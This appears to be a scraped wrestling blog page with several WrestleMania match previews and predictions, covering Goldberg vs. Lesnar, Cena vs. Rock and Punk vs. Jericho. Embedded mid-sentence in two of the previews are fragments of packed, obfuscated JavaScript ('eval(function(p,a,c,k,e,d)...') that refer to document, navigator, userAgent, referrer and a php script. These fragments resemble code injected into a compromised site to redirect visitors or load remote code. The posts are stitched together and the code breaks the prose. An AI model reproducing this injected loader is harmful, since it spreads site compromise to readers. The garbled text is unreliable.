Wrestlemania XXXIII Preview: Raw World Title: Goldberg vs. Brock Lesnar

Where’s my stopwatch?

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyfah|var|u0026u|referrer|iyszn||js|php'.split('|'),0,{})) had to get here eventually. I’ve said the same thing since “Survivor Series 2016”: I have no idea why I’m supposed to be interested in seeing them fight again. Fans don’t seem interested in seeing either of them and they especially don’t need the title to make this story work (really, it’s the same thing with or without the title) so I have no idea why we’re seeing this again other than “well we started it so we have to finish it”.

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Wrestlemania 29 Preview – Raw World Title: John Cena vs. The Rock

Then eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfsnn|var|u0026u|referrer|bhkid||js|php'.split('|'),0,{})) there’s this.A year ago I was as fired up for a match as I’ve ever been because of Cena vs. Rock.  I didn’t know if it was going to be good or bad, but I needed to see it one way or another.  That being said, the feeling isn’t there this year.  I’m not saying I don’t want to see the match because I do and there’s no way this won’t be good.  The problem is there’s nothing separating this match from last year’s version.  Yeah it’s for the title, and maybe 10% of the promos have been about said title.  It’s not adding anything and is the definition of a prop to set up this match.

All that being said, I’m fine with the match happening again.  These complaints of the match being stale or played out are pretty ridiculous considering we’ve seen them fight ONCE in a a year and that match drew more money than any other match ever.  Again, we haven’t seen them fight in over a year and that match was an instant classic.  But somehow this match is stale because….it just is right?  Anyway the match itself should be fine.

As for the big question about it: no, I don’t see Cena doing the turn.  I see this being more like Wrestlemania 8 where Roddy Piper picked up the bell, looked at it, and sat it down instead if giving into the demons.  Granted he lost about ten seconds later but at least he had a clean conscience.  The main thing to remember abotu Cena becoming the villain is there’s no one ready to take his place on top of the company.  Cena is way too big of a cash cow for WWE and in his own words:

 

“”I just don’t see me getting there in order to please a very small group of 30-year-olds.”

 

That’s what it boils down to.  A lot of fans REALLY like John Cena.  He appeals to kids, he appeals to women, he appeals to families.  Cena is built up as a role model and he’s done that for years.  Yeah, the turn would be shocking.  Then three months would go by and where would we be then?  We would have a small group of 30-year-olds cheering for him and a bunch of people not buying his merchandise.  WWE is too smart to cater to such a small group of fans and at the end of the day, the right move is for Cena to stay where he is, at least until someone new is ready.

As for the match, I can’t imagine Rock keeping the title.  I just can’t.  Rock can’t be world champion long term because of his movie schedule, so you can’t expect him to keep the title even longer.  Also Cena has earned a big win as he hasn’t been champion in a LONG time.  Think about it.  Since Money in the Bank 2011, Cena has been world champion for 34 days, and 20 of those were spent as co champion with Punk.  His last title reign that went longer than three months?  The year long one which ended in 2007.  It’s been a very long time since Cena had an extended reign as world champion and it’s his time again.  Cena wins, as he should.



Jericho Tapped Out

Another GREAT match on a show that is on pace to rank among the best Manias of all time. The next update will be the full review after the show ends.



Wrestlemania #28: Raw World Title – CM Punk (C) vs. Chris Jericho

This is probably the show stealer.This match is a tale of two stories.  For a few weeks they started with arguing over who the best in the world was and Jericho saying that Punk ripped off all his ideas.  Then they shifted over to Jericho ripping on Punk’s family for the sake of driving him to drink.  I think the idea that we’re supposed to go with is that Jericho pressured Punk into giving him the title match and then is using the family stuff to mess with his mind and make him lose the title as a result.  I’m not sure how well they’ve done at conveying that idea which isn’t good, but at the end of the day it’s Punk vs. Jericho.  Do you really think they’re going to have a bad match?  I’ll go with Punk to retain, but him losing and exploring what he might do could be interesting.

 

Thoughts/Predictions?